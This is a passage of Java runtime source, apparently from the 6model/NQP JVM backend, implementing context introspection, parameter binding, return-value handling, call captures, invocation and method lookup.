ExceptionHandling.dieInternal(tc, "getlexrelcaller requires an operand with REPR ContextRef"); } } /* Context introspection. */ public static SixModelObject ctx(ThreadContext tc) { SixModelObject ContextRef = tc.gc.ContextRef; SixModelObject wrap = ContextRef.st.REPR.allocate(tc, ContextRef.st); ((ContextRefInstance)wrap).context = tc.curFrame; return wrap; } public static SixModelObject ctxouter(SixModelObject ctx, ThreadContext tc) { if (ctx instanceof ContextRefInstance) { CallFrame outer = ((ContextRefInstance)ctx).context.outer; if (outer == null) return null; SixModelObject ContextRef = tc.gc.ContextRef; SixModelObject wrap = ContextRef.st.REPR.allocate(tc, ContextRef.st); ((ContextRefInstance)wrap).context = outer; return wrap; } else { throw ExceptionHandling.dieInternal(tc, "ctxouter requires an operand with REPR ContextRef"); } } public static SixModelObject ctxcaller(SixModelObject ctx, ThreadContext tc) { if (ctx instanceof ContextRefInstance) { CallFrame caller = ((ContextRefInstance)ctx).context.caller; if (caller == null) return null; SixModelObject ContextRef = tc.gc.ContextRef; SixModelObject wrap = ContextRef.st.REPR.allocate(tc, ContextRef.st); ((ContextRefInstance)wrap).context = caller; return wrap; } else { throw ExceptionHandling.dieInternal(tc, "ctxcaller requires an operand with REPR ContextRef"); } } public static SixModelObject ctxlexpad(SixModelObject ctx, ThreadContext tc) { if (ctx instanceof ContextRefInstance) { // The context serves happily enough as the lexpad also (provides // the associative bit of the REPR API, mapped to the lexpad). return ctx; } else { throw ExceptionHandling.dieInternal(tc, "ctxlexpad requires an operand with REPR ContextRef"); } } public static SixModelObject curcode(ThreadContext tc) { return tc.curFrame.codeRef; } public static SixModelObject callercode(ThreadContext tc) { CallFrame caller = tc.curFrame.caller; return caller == null ? null : caller.codeRef; } public static long lexprimspec(SixModelObject pad, String key, ThreadContext tc) { if (pad instanceof ContextRefInstance) { StaticCodeInfo sci = ((ContextRefInstance)pad).context.codeRef.staticInfo; if (sci.oTryGetLexicalIdx(key) != null) return StorageSpec.BP_NONE; if (sci.iTryGetLexicalIdx(key) != null) return StorageSpec.BP_INT; if (sci.nTryGetLexicalIdx(key) != null) return StorageSpec.BP_NUM; if (sci.sTryGetLexicalIdx(key) != null) return StorageSpec.BP_STR; throw ExceptionHandling.dieInternal(tc, "Invalid lexical name passed to lexprimspec"); } else { throw ExceptionHandling.dieInternal(tc, "lexprimspec requires an operand with REPR ContextRef"); } } /* Invocation arity check. */ public static CallSiteDescriptor checkarity(CallFrame cf, CallSiteDescriptor cs, Object[] args, int required, int accepted) { if (cs.hasFlattening) cs = cs.explodeFlattening(cf, args); else cf.tc.flatArgs = args; int positionals = cs.numPositionals; if (positionals < required || positionals > accepted && accepted != -1) throw ExceptionHandling.dieInternal(cf.tc, "Wrong number of arguments passed; expected " + required + ".." + accepted + ", but got " + positionals); return cs; } /* Required positional parameter fetching. */ public static SixModelObject posparam_o(CallFrame cf, CallSiteDescriptor cs, Object[] args, int idx) { switch (cs.argFlags[idx]) { case CallSiteDescriptor.ARG_OBJ: return (SixModelObject)args[idx]; case CallSiteDescriptor.ARG_INT: return box_i((long)args[idx], cf.codeRef.staticInfo.compUnit.hllConfig.intBoxType, cf.tc); case CallSiteDescriptor.ARG_NUM: return box_n((double)args[idx], cf.codeRef.staticInfo.compUnit.hllConfig.numBoxType, cf.tc); case CallSiteDescriptor.ARG_STR: return box_s((String)args[idx], cf.codeRef.staticInfo.compUnit.hllConfig.strBoxType, cf.tc); default: throw ExceptionHandling.dieInternal(cf.tc, "Error in argument processing"); } } public static long posparam_i(CallFrame cf, CallSiteDescriptor cs, Object[] args, int idx) { switch (cs.argFlags[idx]) { case CallSiteDescriptor.ARG_INT: return (long)args[idx]; case CallSiteDescriptor.ARG_NUM: return (long)(double)args[idx]; case CallSiteDescriptor.ARG_STR: return coerce_s2i((String)args[idx]); case CallSiteDescriptor.ARG_OBJ: return decont(((SixModelObject)args[idx]), cf.tc).get_int(cf.tc); default: throw ExceptionHandling.dieInternal(cf.tc, "Error in argument processing"); } } public static double posparam_n(CallFrame cf, CallSiteDescriptor cs, Object[] args, int idx) { switch (cs.argFlags[idx]) { case CallSiteDescriptor.ARG_NUM: return (double)args[idx]; case CallSiteDescriptor.ARG_INT: return (double)(long)args[idx]; case CallSiteDescriptor.ARG_STR: return coerce_s2n((String)args[idx]); case CallSiteDescriptor.ARG_OBJ: return decont(((SixModelObject)args[idx]), cf.tc).get_num(cf.tc); default: throw ExceptionHandling.dieInternal(cf.tc, "Error in argument processing"); } } public static String posparam_s(CallFrame cf, CallSiteDescriptor cs, Object[] args, int idx) { switch (cs.argFlags[idx]) { case CallSiteDescriptor.ARG_STR: return (String)args[idx]; case CallSiteDescriptor.ARG_INT: return coerce_i2s((long)args[idx]); case CallSiteDescriptor.ARG_NUM: return coerce_n2s((double)args[idx]); case CallSiteDescriptor.ARG_OBJ: return decont(((SixModelObject)args[idx]), cf.tc).get_str(cf.tc); default: throw ExceptionHandling.dieInternal(cf.tc, "Error in argument processing"); } } /* Optional positional parameter fetching. */ public static SixModelObject posparam_opt_o(CallFrame cf, CallSiteDescriptor cs, Object[] args, int idx) { if (idx < cs.numPositionals) { cf.tc.lastParameterExisted = 1; return posparam_o(cf, cs, args, idx); } else { cf.tc.lastParameterExisted = 0; return null; } } public static long posparam_opt_i(CallFrame cf, CallSiteDescriptor cs, Object[] args, int idx) { if (idx < cs.numPositionals) { cf.tc.lastParameterExisted = 1; return posparam_i(cf, cs, args, idx); } else { cf.tc.lastParameterExisted = 0; return 0; } } public static double posparam_opt_n(CallFrame cf, CallSiteDescriptor cs, Object[] args, int idx) { if (idx < cs.numPositionals) { cf.tc.lastParameterExisted = 1; return posparam_n(cf, cs, args, idx); } else { cf.tc.lastParameterExisted = 0; return 0.0; } } public static String posparam_opt_s(CallFrame cf, CallSiteDescriptor cs, Object[] args, int idx) { if (idx < cs.numPositionals) { cf.tc.lastParameterExisted = 1; return posparam_s(cf, cs, args, idx); } else { cf.tc.lastParameterExisted = 0; return null; } } /* Slurpy positional parameter. */ public static SixModelObject posslurpy(ThreadContext tc, CallFrame cf, CallSiteDescriptor cs, Object[] args, int fromIdx) { /* Create result. */ HLLConfig hllConfig = cf.codeRef.staticInfo.compUnit.hllConfig; SixModelObject resType = hllConfig.slurpyArrayType; SixModelObject result = resType.st.REPR.allocate(tc, resType.st); /* Populate it. */ for (int i = fromIdx; i < cs.numPositionals; i++) { switch (cs.argFlags[i]) { case CallSiteDescriptor.ARG_OBJ: result.push_boxed(tc, (SixModelObject)args[i]); break; case CallSiteDescriptor.ARG_INT: result.push_boxed(tc, box_i((long)args[i], hllConfig.intBoxType, tc)); break; case CallSiteDescriptor.ARG_NUM: result.push_boxed(tc, box_n((double)args[i], hllConfig.numBoxType, tc)); break; case CallSiteDescriptor.ARG_STR: result.push_boxed(tc, box_s((String)args[i], hllConfig.strBoxType, tc)); break; } } return result; } /* Required named parameter getting. */ public static SixModelObject namedparam_o(CallFrame cf, CallSiteDescriptor cs, Object[] args, String name) { if (cf.workingNameMap == null) cf.workingNameMap = new HashMap<String, Integer>(cs.nameMap); Integer lookup = cf.workingNameMap.remove(name); if (lookup != null) { switch (lookup & 7) { case CallSiteDescriptor.ARG_OBJ: return (SixModelObject)args[lookup >> 3]; case CallSiteDescriptor.ARG_INT: return box_i((long)args[lookup >> 3], cf.codeRef.staticInfo.compUnit.hllConfig.intBoxType, cf.tc); case CallSiteDescriptor.ARG_NUM: return box_n((double)args[lookup >> 3], cf.codeRef.staticInfo.compUnit.hllConfig.numBoxType, cf.tc); case CallSiteDescriptor.ARG_STR: return box_s((String)args[lookup >> 3], cf.codeRef.staticInfo.compUnit.hllConfig.strBoxType, cf.tc); default: throw ExceptionHandling.dieInternal(cf.tc, "Error in argument processing"); } } else throw ExceptionHandling.dieInternal(cf.tc, "Required named argument '" + name + "' not passed"); } public static long namedparam_i(CallFrame cf, CallSiteDescriptor cs, Object[] args, String name) { if (cf.workingNameMap == null) cf.workingNameMap = new HashMap<String, Integer>(cs.nameMap); Integer lookup = cf.workingNameMap.remove(name); if (lookup != null) { switch ((lookup & 7)) { case CallSiteDescriptor.ARG_INT: return (long)args[lookup >> 3]; case CallSiteDescriptor.ARG_NUM: return (long)(double)args[lookup >> 3]; case CallSiteDescriptor.ARG_STR: return coerce_s2i((String)args[lookup >> 3]); case CallSiteDescriptor.ARG_OBJ: return ((SixModelObject)args[lookup >> 3]).get_int(cf.tc); default: throw ExceptionHandling.dieInternal(cf.tc, "Error in argument processing"); } } else throw ExceptionHandling.dieInternal(cf.tc, "Required named argument '" + name + "' not passed"); } public static double namedparam_n(CallFrame cf, CallSiteDescriptor cs, Object[] args, String name) { if (cf.workingNameMap == null) cf.workingNameMap = new HashMap<String, Integer>(cs.nameMap); Integer lookup = cf.workingNameMap.remove(name); if (lookup != null) { switch ((lookup & 7)) { case CallSiteDescriptor.ARG_NUM: return (double)args[lookup >> 3]; case CallSiteDescriptor.ARG_INT: return (double)(long)args[lookup >> 3]; case CallSiteDescriptor.ARG_STR: return coerce_s2n((String)args[lookup >> 3]); case CallSiteDescriptor.ARG_OBJ: return ((SixModelObject)args[lookup >> 3]).get_num(cf.tc); default: throw ExceptionHandling.dieInternal(cf.tc, "Error in argument processing"); } } else throw ExceptionHandling.dieInternal(cf.tc, "Required named argument '" + name + "' not passed"); } public static String namedparam_s(CallFrame cf, CallSiteDescriptor cs, Object[] args, String name) { if (cf.workingNameMap == null) cf.workingNameMap = new HashMap<String, Integer>(cs.nameMap); Integer lookup = cf.workingNameMap.remove(name); if (lookup != null) { switch ((lookup & 7)) { case CallSiteDescriptor.ARG_STR: return (String)args[lookup >> 3]; case CallSiteDescriptor.ARG_INT: return coerce_i2s((long)args[lookup >> 3]); case CallSiteDescriptor.ARG_NUM: return coerce_n2s((double)args[lookup >> 3]); case CallSiteDescriptor.ARG_OBJ: return ((SixModelObject)args[lookup >> 3]).get_str(cf.tc); default: throw ExceptionHandling.dieInternal(cf.tc, "Error in argument processing"); } } else throw ExceptionHandling.dieInternal(cf.tc, "Required named argument '" + name + "' not passed"); } /* Optional named parameter getting. */ public static SixModelObject namedparam_opt_o(CallFrame cf, CallSiteDescriptor cs, Object[] args, String name) { if (cf.workingNameMap == null) cf.workingNameMap = new HashMap<String, Integer>(cs.nameMap); Integer lookup = cf.workingNameMap.remove(name); if (lookup != null) { cf.tc.lastParameterExisted = 1; switch (lookup & 7) { case CallSiteDescriptor.ARG_OBJ: return (SixModelObject)args[lookup >> 3]; case CallSiteDescriptor.ARG_INT: return box_i((long)args[lookup >> 3], cf.codeRef.staticInfo.compUnit.hllConfig.intBoxType, cf.tc); case CallSiteDescriptor.ARG_NUM: return box_n((double)args[lookup >> 3], cf.codeRef.staticInfo.compUnit.hllConfig.numBoxType, cf.tc); case CallSiteDescriptor.ARG_STR: return box_s((String)args[lookup >> 3], cf.codeRef.staticInfo.compUnit.hllConfig.strBoxType, cf.tc); default: throw ExceptionHandling.dieInternal(cf.tc, "Error in argument processing"); } } else { cf.tc.lastParameterExisted = 0; return null; } } public static long namedparam_opt_i(CallFrame cf, CallSiteDescriptor cs, Object[] args, String name) { if (cf.workingNameMap == null) cf.workingNameMap = new HashMap<String, Integer>(cs.nameMap); Integer lookup = cf.workingNameMap.remove(name); if (lookup != null) { cf.tc.lastParameterExisted = 1; switch ((lookup & 7)) { case CallSiteDescriptor.ARG_INT: return (long)args[lookup >> 3]; case CallSiteDescriptor.ARG_NUM: return (long)(double)args[lookup >> 3]; case CallSiteDescriptor.ARG_STR: return coerce_s2i((String)args[lookup >> 3]); case CallSiteDescriptor.ARG_OBJ: return ((SixModelObject)args[lookup >> 3]).get_int(cf.tc); default: throw ExceptionHandling.dieInternal(cf.tc, "Error in argument processing"); } } else { cf.tc.lastParameterExisted = 0; return 0; } } public static double namedparam_opt_n(CallFrame cf, CallSiteDescriptor cs, Object[] args, String name) { if (cf.workingNameMap == null) cf.workingNameMap = new HashMap<String, Integer>(cs.nameMap); Integer lookup = cf.workingNameMap.remove(name); if (lookup != null) { cf.tc.lastParameterExisted = 1; switch ((lookup & 7)) { case CallSiteDescriptor.ARG_NUM: return (double)args[lookup >> 3]; case CallSiteDescriptor.ARG_INT: return (double)(long)args[lookup >> 3]; case CallSiteDescriptor.ARG_STR: return coerce_s2n((String)args[lookup >> 3]); case CallSiteDescriptor.ARG_OBJ: return ((SixModelObject)args[lookup >> 3]).get_num(cf.tc); default: throw ExceptionHandling.dieInternal(cf.tc, "Error in argument processing"); } } else { cf.tc.lastParameterExisted = 0; return 0.0; } } public static String namedparam_opt_s(CallFrame cf, CallSiteDescriptor cs, Object[] args, String name) { if (cf.workingNameMap == null) cf.workingNameMap = new HashMap<String, Integer>(cs.nameMap); Integer lookup = cf.workingNameMap.remove(name); if (lookup != null) { cf.tc.lastParameterExisted = 1; switch ((lookup & 7)) { case CallSiteDescriptor.ARG_STR: return (String)args[lookup >> 3]; case CallSiteDescriptor.ARG_INT: return coerce_i2s((long)args[lookup >> 3]); case CallSiteDescriptor.ARG_NUM: return coerce_n2s((double)args[lookup >> 3]); case CallSiteDescriptor.ARG_OBJ: return ((SixModelObject)args[lookup >> 3]).get_str(cf.tc); default: throw ExceptionHandling.dieInternal(cf.tc, "Error in argument processing"); } } else { cf.tc.lastParameterExisted = 0; return null; } } /* Slurpy named parameter. */ public static SixModelObject namedslurpy(ThreadContext tc, CallFrame cf, CallSiteDescriptor cs, Object[] args) { /* Create result. */ HLLConfig hllConfig = cf.codeRef.staticInfo.compUnit.hllConfig; SixModelObject resType = hllConfig.slurpyHashType; SixModelObject result = resType.st.REPR.allocate(tc, resType.st); /* Populate it. */ if (cf.workingNameMap == null) cf.workingNameMap = new HashMap<String, Integer>(cs.nameMap); for (String name : cf.workingNameMap.keySet()) { Integer lookup = cf.workingNameMap.get(name); switch (lookup & 7) { case CallSiteDescriptor.ARG_OBJ: result.bind_key_boxed(tc, name, (SixModelObject)args[lookup >> 3]); break; case CallSiteDescriptor.ARG_INT: result.bind_key_boxed(tc, name, box_i((long)args[lookup >> 3], hllConfig.intBoxType, tc)); break; case CallSiteDescriptor.ARG_NUM: result.bind_key_boxed(tc, name, box_n((double)args[lookup >> 3], hllConfig.numBoxType, tc)); break; case CallSiteDescriptor.ARG_STR: result.bind_key_boxed(tc, name, box_s((String)args[lookup >> 3], hllConfig.strBoxType, tc)); break; } } return result; } /* Return value setting. */ public static void return_o(SixModelObject v, CallFrame cf) { CallFrame caller = cf.caller; if (caller == null) caller = cf.tc.dummyCaller; caller.oRet = v; caller.retType = CallFrame.RET_OBJ; } public static void return_i(long v, CallFrame cf) { CallFrame caller = cf.caller; if (caller == null) caller = cf.tc.dummyCaller; caller.iRet = v; caller.retType = CallFrame.RET_INT; } public static void return_n(double v, CallFrame cf) { CallFrame caller = cf.caller; if (caller == null) caller = cf.tc.dummyCaller; caller.nRet = v; caller.retType = CallFrame.RET_NUM; } public static void return_s(String v, CallFrame cf) { CallFrame caller = cf.caller; if (caller == null) caller = cf.tc.dummyCaller; caller.sRet = v; caller.retType = CallFrame.RET_STR; } /* Get returned result. */ public static SixModelObject result_o(CallFrame cf) { switch (cf.retType) { case CallFrame.RET_INT: return box_i(cf.iRet, cf.codeRef.staticInfo.compUnit.hllConfig.intBoxType, cf.tc); case CallFrame.RET_NUM: return box_n(cf.nRet, cf.codeRef.staticInfo.compUnit.hllConfig.numBoxType, cf.tc); case CallFrame.RET_STR: return box_s(cf.sRet, cf.codeRef.staticInfo.compUnit.hllConfig.strBoxType, cf.tc); default: return cf.oRet; } } public static long result_i(CallFrame cf) { switch (cf.retType) { case CallFrame.RET_INT: return cf.iRet; case CallFrame.RET_NUM: return (long)cf.nRet; case CallFrame.RET_STR: return coerce_s2i(cf.sRet); default: return unbox_i(cf.oRet, cf.tc); } } public static double result_n(CallFrame cf) { switch (cf.retType) { case CallFrame.RET_INT: return (double)cf.iRet; case CallFrame.RET_NUM: return cf.nRet; case CallFrame.RET_STR: return coerce_s2n(cf.sRet); default: return unbox_n(cf.oRet, cf.tc); } } public static String result_s(CallFrame cf) { switch (cf.retType) { case CallFrame.RET_INT: return coerce_i2s(cf.iRet); case CallFrame.RET_NUM: return coerce_n2s(cf.nRet); case CallFrame.RET_STR: return cf.sRet; default: return unbox_s(cf.oRet, cf.tc); } } /* Capture related operations. */ public static SixModelObject usecapture(ThreadContext tc, CallSiteDescriptor cs, Object[] args) { CallCaptureInstance cc = tc.savedCC; cc.descriptor = cs; cc.args = args.clone(); return cc; } public static SixModelObject savecapture(ThreadContext tc, CallSiteDescriptor cs, Object[] args) { SixModelObject CallCapture = tc.gc.CallCapture; CallCaptureInstance cc = (CallCaptureInstance)CallCapture.st.REPR.allocate(tc, CallCapture.st); cc.descriptor = cs; cc.args = args.clone(); return cc; } public static long captureposelems(SixModelObject obj, ThreadContext tc) { if (obj instanceof CallCaptureInstance) return ((CallCaptureInstance)obj).descriptor.numPositionals; else throw ExceptionHandling.dieInternal(tc, "captureposelems requires a CallCapture"); } public static SixModelObject captureposarg(SixModelObject obj, long idx, ThreadContext tc) { if (obj instanceof CallCaptureInstance) { CallCaptureInstance cc = (CallCaptureInstance)obj; int i = (int)idx; switch (cc.descriptor.argFlags[i]) { case CallSiteDescriptor.ARG_OBJ: return (SixModelObject)cc.args[i]; case CallSiteDescriptor.ARG_INT: return box_i((long)cc.args[i], tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.intBoxType, tc); case CallSiteDescriptor.ARG_NUM: return box_n((double)cc.args[i], tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.numBoxType, tc); case CallSiteDescriptor.ARG_STR: return box_s((String)cc.args[i], tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.strBoxType, tc); default: throw ExceptionHandling.dieInternal(tc, "Invalid positional argument access from capture"); } } else { throw ExceptionHandling.dieInternal(tc, "captureposarg requires a CallCapture"); } } public static long captureexistsnamed(SixModelObject obj, String name, ThreadContext tc) { if (obj instanceof CallCaptureInstance) { CallCaptureInstance cc = (CallCaptureInstance)obj; return cc.descriptor.nameMap.containsKey(name) ? 1 : 0; } else { throw ExceptionHandling.dieInternal(tc, "capturehasnameds requires a CallCapture"); } } public static long capturehasnameds(SixModelObject obj, ThreadContext tc) { if (obj instanceof CallCaptureInstance) { CallCaptureInstance cc = (CallCaptureInstance)obj; return cc.descriptor.names == null ? 0 : 1; } else { throw ExceptionHandling.dieInternal(tc, "capturehasnameds requires a CallCapture"); } } public static long captureposprimspec(SixModelObject obj, long idx, ThreadContext tc) { if (obj instanceof CallCaptureInstance) { CallCaptureInstance cc = (CallCaptureInstance)obj; switch (cc.descriptor.argFlags[(int)idx]) { case CallSiteDescriptor.ARG_INT: return StorageSpec.BP_INT; case CallSiteDescriptor.ARG_NUM: return StorageSpec.BP_NUM; case CallSiteDescriptor.ARG_STR: return StorageSpec.BP_STR; default: return StorageSpec.BP_NONE; } } else { throw ExceptionHandling.dieInternal(tc, "captureposarg requires a CallCapture"); } } /* Invocation. */ public static final CallSiteDescriptor emptyCallSite = new CallSiteDescriptor(new byte[0], null); public static final Object[] emptyArgList = new Object[0]; public static final CallSiteDescriptor invocantCallSite = new CallSiteDescriptor(new byte[] { CallSiteDescriptor.ARG_OBJ }, null); public static final CallSiteDescriptor storeCallSite = new CallSiteDescriptor(new byte[] { CallSiteDescriptor.ARG_OBJ, CallSiteDescriptor.ARG_OBJ }, null); public static final CallSiteDescriptor findmethCallSite = new CallSiteDescriptor(new byte[] { CallSiteDescriptor.ARG_OBJ, CallSiteDescriptor.ARG_OBJ, CallSiteDescriptor.ARG_STR }, null); public static final CallSiteDescriptor typeCheckCallSite = new CallSiteDescriptor(new byte[] { CallSiteDescriptor.ARG_OBJ, CallSiteDescriptor.ARG_OBJ, CallSiteDescriptor.ARG_OBJ }, null); public static final CallSiteDescriptor howObjCallSite = new CallSiteDescriptor(new byte[] { CallSiteDescriptor.ARG_OBJ, CallSiteDescriptor.ARG_OBJ }, null); public static void invokeLexotic(SixModelObject invokee, CallSiteDescriptor csd, Object[] args, ThreadContext tc) { LexoticException throwee = tc.theLexotic; throwee.target = ((LexoticInstance)invokee).target; switch (csd.argFlags[0]) { case CallSiteDescriptor.ARG_OBJ: throwee.payload = (SixModelObject)args[0]; break; case CallSiteDescriptor.ARG_INT: throwee.payload = box_i((long)args[0], tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.intBoxType, tc); break; case CallSiteDescriptor.ARG_NUM: throwee.payload = box_n((double)args[0], tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.numBoxType, tc); break; case CallSiteDescriptor.ARG_STR: throwee.payload = box_s((String)args[0], tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.strBoxType, tc); break; default: throw ExceptionHandling.dieInternal(tc, "Invalid lexotic invocation argument"); } throw throwee; } public static void invoke(SixModelObject invokee, int callsiteIndex, Object[] args, ThreadContext tc) throws Exception { // TODO Find a smarter way to do this without all the pointer chasing. if (callsiteIndex >= 0) invokeDirect(tc, invokee, tc.curFrame.codeRef.staticInfo.compUnit.callSites[callsiteIndex], args); else invokeDirect(tc, invokee, emptyCallSite, args); } public static void invokeArgless(ThreadContext tc, SixModelObject invokee) { invokeDirect(tc, invokee, emptyCallSite, new Object[0]); } public static void invokeMain(ThreadContext tc, SixModelObject invokee, String prog, String[] argv) { /* Build argument list from argv. */ SixModelObject Str = ((CodeRef)invokee).staticInfo.compUnit.hllConfig.strBoxType; Object[] args = new Object[argv.length + 1]; byte[] callsite = new byte[argv.length + 1]; args[0] = box_s(prog, Str, tc); callsite[0] = CallSiteDescriptor.ARG_OBJ; for (int i = 0; i < argv.length; i++) { args[i + 1] = box_s(argv[i], Str, tc); callsite[i + 1] = CallSiteDescriptor.ARG_OBJ; } /* Invoke with the descriptor and arg list. */ invokeDirect(tc, invokee, new CallSiteDescriptor(callsite, null), args); } public static void invokeDirect(ThreadContext tc, SixModelObject invokee, CallSiteDescriptor csd, Object[] args) { invokeDirect(tc, invokee, csd, true, args); } public static void invokeDirect(ThreadContext tc, SixModelObject invokee, CallSiteDescriptor csd, boolean barrier, Object[] args) { // If it's lexotic, throw the exception right off. if (invokee instanceof LexoticInstance) { invokeLexotic(invokee, csd, args, tc); } // Otherwise, get the code ref. CodeRef cr; if (invokee instanceof CodeRef) { cr = (CodeRef)invokee; } else { InvocationSpec is = invokee.st.InvocationSpec; if (is == null) throw ExceptionHandling.dieInternal(tc, "Can not invoke this object"); if (is.ClassHandle != null) cr = (CodeRef)invokee.get_attribute_boxed(tc, is.ClassHandle, is.AttrName, is.Hint); else { cr = (CodeRef)is.InvocationHandler; csd = csd.injectInvokee(tc, args, invokee); args = tc.flatArgs; } } try { // Do the invocation. cr.staticInfo.mh.invokeExact(tc, cr, csd, args); } catch (ControlException e) { if (barrier && (e instanceof SaveStackException)) ExceptionHandling.dieInternal(tc, "control operator crossed continuation barrier"); throw e; } catch (Throwable e) { ExceptionHandling.dieInternal(tc, e); } } public static SixModelObject invokewithcapture(SixModelObject invokee, SixModelObject capture, ThreadContext tc) throws Exception { if (capture instanceof CallCaptureInstance) { CallCaptureInstance cc = (CallCaptureInstance)capture; invokeDirect(tc, invokee, cc.descriptor, cc.args); return result_o(tc.curFrame); } else { throw ExceptionHandling.dieInternal(tc, "invokewithcapture requires a CallCapture"); } } /* Lexotic. */ public static SixModelObject lexotic(long target) { LexoticInstance res = new LexoticInstance(); res.target = target; return res; } public static SixModelObject lexotic_tc(long target, ThreadContext tc) { LexoticInstance res = new LexoticInstance(); res.st = tc.gc.Lexotic.st; res.target = target; return res; } /* Multi-dispatch cache. */ public static SixModelObject multicacheadd(SixModelObject cache, SixModelObject capture, SixModelObject result, ThreadContext tc) { if (!(cache instanceof MultiCacheInstance)) cache = tc.gc.MultiCache.st.REPR.allocate(tc, tc.gc.MultiCache.st); ((MultiCacheInstance)cache).add((CallCaptureInstance)capture, result, tc); return cache; } public static SixModelObject multicachefind(SixModelObject cache, SixModelObject capture, ThreadContext tc) { if (cache instanceof MultiCacheInstance) return ((MultiCacheInstance)cache).lookup((CallCaptureInstance)capture, tc); else return null; } /* Basic 6model operations. */ public static SixModelObject what(SixModelObject o) { return o.st.WHAT; } public static SixModelObject how(SixModelObject o) { return o.st.HOW; } public static SixModelObject who(SixModelObject o) { return o.st.WHO; } public static long where(SixModelObject o) { return o.hashCode(); } public static SixModelObject setwho(SixModelObject o, SixModelObject who) { o.st.WHO = who; return o; } public static SixModelObject what(SixModelObject o, ThreadContext tc) { return decont(o, tc).st.WHAT; } public static SixModelObject how(SixModelObject o, ThreadContext tc) { return decont(o, tc).st.HOW; } public static SixModelObject who(SixModelObject o, ThreadContext tc) { return decont(o, tc).st.WHO; } public static long where(SixModelObject o, ThreadContext tc) { return o.hashCode(); } public static SixModelObject setwho(SixModelObject o, SixModelObject who, ThreadContext tc) { decont(o, tc).st.WHO = who; return o; } public static SixModelObject rebless(SixModelObject obj, SixModelObject newType, ThreadContext tc) { obj = decont(obj, tc); newType = decont(newType, tc); if (obj.st != newType.st) { obj.st.REPR.change_type(tc, obj, newType); if (obj.sc != null) scwbObject(tc, obj); } return obj; } public static SixModelObject create(SixModelObject obj, ThreadContext tc) { SixModelObject res = obj.st.REPR.allocate(tc, obj.st); return res; } public static SixModelObject clone(SixModelObject obj, ThreadContext tc) { return decont(obj, tc).clone(tc); } public static long isconcrete(SixModelObject obj, ThreadContext tc) { return obj == null || decont(obj, tc) instanceof TypeObject ? 0 : 1; } public static SixModelObject knowhow(ThreadContext tc) { return tc.gc.KnowHOW; } public static SixModelObject knowhowattr(ThreadContext tc) { return tc.gc.KnowHOWAttribute; } public static SixModelObject bootint(ThreadContext tc) { return tc.gc.BOOTInt; } public static SixModelObject bootnum(ThreadContext tc) { return tc.gc.BOOTNum; } public static SixModelObject bootstr(ThreadContext tc) { return tc.gc.BOOTStr; } public static SixModelObject bootarray(ThreadContext tc) { return tc.gc.BOOTArray; } public static SixModelObject bootintarray(ThreadContext tc) { return tc.gc.BOOTIntArray; } public static SixModelObject bootnumarray(ThreadContext tc) { return tc.gc.BOOTNumArray; } public static SixModelObject bootstrarray(ThreadContext tc) { return tc.gc.BOOTStrArray; } public static SixModelObject boothash(ThreadContext tc) { return tc.gc.BOOTHash; } public static SixModelObject hlllist(ThreadContext tc) { return tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.listType; } public static SixModelObject hllhash(ThreadContext tc) { return tc.curFrame.codeRef.staticInfo.compUnit.hllConfig.hashType; } public static SixModelObject findmethod(ThreadContext tc, SixModelObject invocant, String name) { if (invocant == null) throw ExceptionHandling.dieInternal(tc, "Can not call method '" + name + "' on a null object"); invocant = decont(invocant, tc); SixModelObject meth = invocant.st.MethodCache.get(name); if (meth == null) throw ExceptionHandling.dieInternal(tc, "Method '" + name + "' not found for invocant of class '" + typeName(invocant, tc) + "'"); return meth; } public static SixModelObject findmethod(SixModelObject invocant, String name, ThreadContext tc) { if (invocant == null) throw ExceptionHandling.dieInternal(tc, "Can not call method '" + name + "' on a null object"); invocant = decont(invocant, tc); Map<String, SixModelObject> cache = invocant.st.MethodCache; /* Try the by-name method cache, if the HOW published one. */ if (cache != null) { SixModelObject found = cache.get(name); if (found != null) return found; if ((invocant.st.ModeFlags & STable.METHOD_CACHE_AUTHORITATIVE) != 0) return null; } /* Otherwise delegate to the HOW. */ SixModelObject how = invocant.st.HOW; SixModelObject find_method = findmethod(how, "find_method", tc); invokeDirect(tc, find_method, findmethCallSite, new Object[] { how, invocant, name }); return result_o(tc.curFrame); } public static String typeName(SixModelObject invocant, ThreadContext tc) { invocant = decont(invocant, tc); SixModelObject how = invocant.st.HOW; SixModelObject nameMeth = findmethod(tc, how, "name"); invokeDirect(tc, nameMeth, howObjCallSite, new Object[] { how, invocant }); return result_s(tc.curFrame); } public static long can(SixModelObject invocant, String name, ThreadContext tc) { return findmethod(invocant, name, tc) == null ? 0 : 1; } public static long eqaddr(SixModelObject a, SixModelObject b) { return a == b ? 1 : 0; } public static long isnull(SixModelObject obj) { return obj == null ? 1 : 0; } public static long isnull_s(String str) { return str == null ? 1 : 0; } public static String reprname(SixModelObject obj) { return obj.st.REPR.name; } public static SixModelObject newtype(SixModelObject how, String reprname, ThreadContext tc) { return REPRRegistry.getByName(reprname).type_object_for(tc, decont(how, tc)); } public static SixModelObject composetype(SixModelObject obj, SixModelObject reprinfo, ThreadContext tc) { obj.st.REPR.compose(tc, obj.st, reprinfo); return obj; } public static SixModelObject setmethcache(SixModelObject obj, SixModelObject meths, ThreadContext tc) { SixModelObject iter = iter(meths, tc); HashMap<String, SixModelObject> cache = new HashMap<String, SixModelObject>(); while (istrue(iter, tc) != 0) { SixModelObject cur = iter.shift_boxed(tc); cache.put(iterkey_s(cur, tc), iterval(cur, tc)); } obj.st.MethodCache = cache; if (obj.st.sc != null) scwbSTable(tc, obj.st); return obj; } public static SixModelObject setmethcacheauth(SixModelObject obj, long flag, ThreadContext tc) { int newFlags = obj.st.ModeFlags & (~STable.METHOD_CACHE_AUTHORITATIVE); if (flag != 0) newFlags = newFlags | STable.METHOD_CACHE_AUTHORITATIVE; obj.st.ModeFlags = newFlags; if (obj.st.sc != null) scwbSTable(tc, obj.st); return obj; } public static SixModelObject settypecache(SixModelObject obj, SixModelObject types, ThreadContext tc) { long elems = types.elems(tc); SixModelObject[] cache = new SixModelObject[(int)elems]; for (long i = 0; i < elems; i++) cache[(int)i] = types.at_pos_boxed(tc, i); obj.st.TypeCheckCache = cache; if (obj.st.sc != null) scwbSTable(tc, obj.st); return obj; } public static SixModelObject settypecheckmode(SixModelObject obj, long mode, ThreadContext tc) { obj.st.ModeFlags = (int)mode | (obj.st.ModeFlags & 